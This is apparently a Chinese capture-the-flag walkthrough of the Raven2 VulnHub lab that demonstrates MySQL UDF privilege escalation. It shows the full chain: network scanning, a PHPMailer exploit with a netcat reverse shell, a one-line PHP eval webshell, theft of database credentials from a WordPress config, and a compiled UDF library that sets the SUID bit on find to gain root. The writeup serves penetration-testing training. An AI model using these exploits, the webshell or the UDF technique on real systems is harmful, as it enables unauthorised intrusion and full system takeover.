UDF提权
目录
一、UDF概述
二、提权条件
三、漏洞复现
(一) 信息收集
1. Nmap信息收集
1.1、查看当前IP地址
1.2、扫描当前网段,找出目标机器
1.3、快速扫描目标机全端口
2. dirb目录扫描
3. 第一个flag
3.1、目录遍历漏洞
3.2、flag
4. 敏感信息利用
(二) 漏洞利用
1. searchsploit工具搜索exp
2. 更改exp中所需参数
3. 运行exp并开启nc监听
4. 访问exp生成的用于反弹shell的php文件
5. 第二和三个flag
(三) 蚁剑操作
1. 写入一句话木马
2. 蚁剑连接
3. 查看配置信息
(四) 寻找exp
1. searchsploit工具搜索exp
2. ChatGPT解读EXP内容
(五) 提权操作
1. 编译.c文件为.so文件
2. 将bug.so文件传入目标机中
3. 连接数据库
4. 数据库操作
5. 验证是否提权成功
6. 第四个flag
环境:https://download.vulnhub.com/raven/Raven2.ova
一、UDF概述
当MYSQL权限比较高的时候我们就可以利用UDF提权。
UDF可以理解为MySQL的函数库,可以利用UDF定义创建函数(其中包括了执行系统命令的函数)
UDF(user defined function)用户自定义函数,是MySQL的一个扩展接口,称为用户自定义函数,是用来拓展MySQL的技术手段,用户通过自定义函数来实现在MySQL中无法实现的功能。
文件后缀为.dll
或.so
,常用c语言编写。
UDF在MySQL5.1以后的版本,存在于‘mysql/lib/plugin’目录下,文件后缀为‘.dll’常用c语言编写。
MySQL5.1以上的版本,默认是没有plugin目录的,选择手动建立。
二、提权条件
其实这一步都无所谓,毕竟如果你操作系统提权失败,而恰巧目标使用的是MySQL,那孤注一掷吧。
如果MySQL也不行,什么方法都尝试了依旧无果,那只能请教一下红队大牛了(小的不行)
- MySQL中支持UDF扩展,使得我们可以调用DLL里面的函数来实现一些特殊的功能
- 掌握mysql数据库的账户,从拥有对mysql的insert和delect权限,以创建和删除函数
- 拥有可以将udf.dll写入相应目录的权限。
三、漏洞复现
(一) 信息收集
1. Nmap信息收集
1.1、查看当前IP地址
┌──(root㉿hack)-[~]
└─# ifconfig eth0 | grep inet
inet 192.168.20.130 netmask 255.255.255.0 broadcast 192.168.20.255
inet6 fe80::823a:7455:6959:aac2 prefixlen 64 scopeid 0x20<link>
1.2、扫描当前网段,找出目标机器
┌──(root㉿hack)-[~]
└─# nmap -sP 192.168.20.0/24
/*
-s 指定扫描技术
-P ping操作
-sP 使用ping操作来寻找存活主机
*/
发现目标机为:192.168.20.137
1.3、快速扫描目标机全端口
┌──(root㉿hack)-[~]
└─# nmap -sS -p 1-65535 192.168.20.137
/*
-sS SYN扫描技术
-p 指定端口
*/
2. dirb目录扫描
┌──(root㉿hack)-[~]
└─# dirb http://192.168.20.137/
3. 第一个flag
3.1、目录遍历漏洞
通过目录访问探索发现:http://192.168.20.137/vendor/ 存在目录遍历漏洞。
3.2、flag
眼疾手快的点了一下PATH发现flag信息以及绝对路径
4. 敏感信息利用
发现一个README.md的说明文档,打开看看。
发现PHPMailer并且版本为5.2,上网查询发现公开漏洞。
(二) 漏洞利用
1. searchsploit工具搜索exp
这里需要用到一款Kali自带用于搜索exp的工具,名为searchsploit。
如果你要问,你是怎么知道这款工具的,那么我只能告诉你,学习使你强大!
别问为什么使用红框里面的exp,问就是测试有效!这里并不是指其他的不可用。
searchsploit phpMailer #搜索关于phpMailer的exp
searchsploit -m php/webapps/40974.py #将exp保存到当前工作目录中
2. 更改exp中所需参数
vim /root/40974.py
target #修改为目标IP+端口
payload #反弹shell的地址修改为攻击机的IP地址
fields→email #修改为目标网址绝对路径(只要可以访问,放哪里都无所谓)
3. 运行exp并开启nc监听
┌──(root㉿hack)-[~]
└─# nc -lvp 4444
listening on [any] 4444 ...
nc #nc是netcat的简写,工具命令。
-l #监听模式。使用此选项后,nc将会监听指定的端口。
-v #启用详细的输出模式。使用此选项后,nc将会显示更多的信息和日志。
-p 4444 #这是nc的另一个选项,表示指定监听的端口号。在这个例子中,指定的端口号是4444。
┌──(root㉿hack)-[~]
└─# python 40974.py
█████╗ ███╗ ██╗ █████╗ ██████╗ ██████╗ ██████╗ ██████╗ ███████╗██████╗
██╔══██╗████╗ ██║██╔══██╗██╔══██╗██╔════╝██╔═══██╗██╔══██╗██╔════╝██╔══██╗
███████║██╔██╗ ██║███████║██████╔╝██║ ██║ ██║██║ ██║█████╗ ██████╔╝
██╔══██║██║╚██╗██║██╔══██║██╔══██╗██║ ██║ ██║██║ ██║██╔══╝ ██╔══██╗
██║ ██║██║ ╚████║██║ ██║██║ ██║╚██████╗╚██████╔╝██████╔╝███████╗██║ ██║
╚═╝ ╚═╝╚═╝ ╚═══╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚══════╝╚═╝ ╚═╝
PHPMailer Exploit CVE 2016-10033 - anarcoder at protonmail.com
Version 1.0 - github.com/anarcoder - greetings opsxcq & David Golunski
[+] SeNdiNG eVIl SHeLL To TaRGeT....
[+] SPaWNiNG eVIL sHeLL..... bOOOOM :D
[+] ExPLoITeD http://192.168.20.137/contact.php
4. 访问exp生成的用于反弹shell的php文件
使用浏览器访问:http://192.168.20.137/bug.php
转到终端1,可以看到,成功反弹shell成功。
┌──(root㉿hack)-[~]
└─# nc -lvp 4444
listening on [any] 4444 ...
Warning: forward host lookup failed for bogon: Unknown host
connect to [192.168.20.130] from bogon [192.168.20.137] 40254
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
5. 第二和三个flag
$ find / -name "flag*" 2>/dev/null
/var/www/html/wordpress/wp-content/uploads/2018/11/flag3.png
/var/www/flag2.txt
这里用flag查询flag,发现只有2个,结合之前那一个,一共3个。
但是这个靶机中存在4个flag,用find没有查出来,猜测是有些目录是当前权限无法访问,所以没有查出来,我们下面开始进行提权操作。
(三) 蚁剑操作
1. 写入一句话木马
反正都是网站权限,写一个一句话木马,用蚁剑操作比较方便。
echo '<?php @eval($_REQUEST['bug']); ?>' > tu.php
2. 蚁剑连接
3. 查看配置信息
这篇文章的主题就是UDF提权,所以肯定是系统提权失败,才选择UDF提权、
信息收集看到网址框架是wordpress,所以我们直接选择去看它的配置文件。
在这个配置文件中看到了数据库账号和密码,并且数据库为MySQL
(四) 寻找exp
1. searchsploit工具搜索exp
这里需要用到一款Kali自带用于搜索exp的工具,名为searchsploit。
如果你要问,你是怎么知道这款工具的,那么我只能告诉你,学习使你强大!
别问为什么使用红框里面的exp,问就是测试有效!这里并不是指其他的不可用。
searchsploit mysql UDF #搜索关于mysql UDF的exp
searchsploit -m linux/local/1518.c #将exp保存到当前工作目录中
2. ChatGPT解读EXP内容
(五) 提权操作
1. 编译.c文件为.so文件
┌──(root㉿hack)-[~]
└─# gcc -g -c 1518.c
┌──(root㉿hack)-[~]
└─# gcc -g -shared -o bug.so 1518.o -lc
将1518.c文件编译成.so文件
将C语言代码编译成.so文件(也称为共享对象文件)的作用是创建一个可供其他程序调用和链接的动态链接库。
这种动态链接库通常包含一组函数和符号,可以在运行时被其他程序加载和使用。
.so文件可以被不同的程序共享使用,这样可以避免代码的重复编写和维护。
它提供了一种灵活的方式来共享和重用代码,从而提高开发效率和代码复用性。
通常情况下,需要先将C语言代码编译为目标文件(.o文件),然后再将目标文件链接为共享库(.so文件)。
这是因为编译过程分为两个阶段:编译和链接。
编译阶段将源代码转换为目标文件,而链接阶段将目标文件与其他库文件进行连接,生成可执行文件或共享库。
2. 将bug.so文件传入目标机中
3. 连接数据库
4. 数据库操作
create table bug(line blob);
这条命令创建了一个名为"bug"的数据库表,它只有一个名为"line"的列,类型为二进制(BLOB)。
insert into bug values(load_file('/tmp/bug.so'));
这条命令将指定路径(/tmp/bug.so)下的文件内容以二进制形式插入到"bug"表的"line"列中。
这里假设该文件是一个共享库文件。
select * from bug into dumpfile '/usr/lib/mysql/plugin/bug.so';
这条命令从"bug"表中选择所有行,并将其以文件的形式导出到指定路径(/usr/lib/mysql/plugin/bug.so)
这里的目的是将"bug"表中的内容导出为一个共享库文件。
create function do_system returns integer soname 'bug.so';
这条命令创建了一个名为"do_system"的用户定义函数(UDF),它的返回类型是整数。
该函数通过指定的共享库文件(bug.so)进行加载。
select do_system('chmod u+s /usr/bin/find');
这条命令调用了之前创建的"do_system"函数,并将"chmod u+s /usr/bin/find"作为参数传递给它。
这里的目的是在执行该命令时提升"/usr/bin/find"命令的权限。
5. 验证是否提权成功
(www-data:/tmp) $ touch tu
(www-data:/tmp) $ find tu -exec whoami \;
root
SUID权限:
它在执行过程中会临时获取文件所有者的权限,而不是执行它的用户的权限。
也就是说如果我执行了一个设置有SUID权限的文件,那么我在执行这个文件的权限就是root(含过程)。
find命令 #指定要搜索的文件或目录的路径
tu #文件
-exec #"-exec" 是 find 命令中的一个选项,用于在找到匹配的文件或目录后执行指定的命令。
whoami #在这个命令中,指定的命令是 "whoami",它用于显示当前用户的用户名。
\; #是一个用于告诉 find 命令 "-exec" 选项结束的标志。在这个命令中,它表示命令执行的结尾。
6. 第四个flag
(www-data:/tmp) $ find tu -exec find / -name "flag*" 2>/dev/null \;
(www-data:/tmp) $ find tu -exec cat /root/flag4.txt \;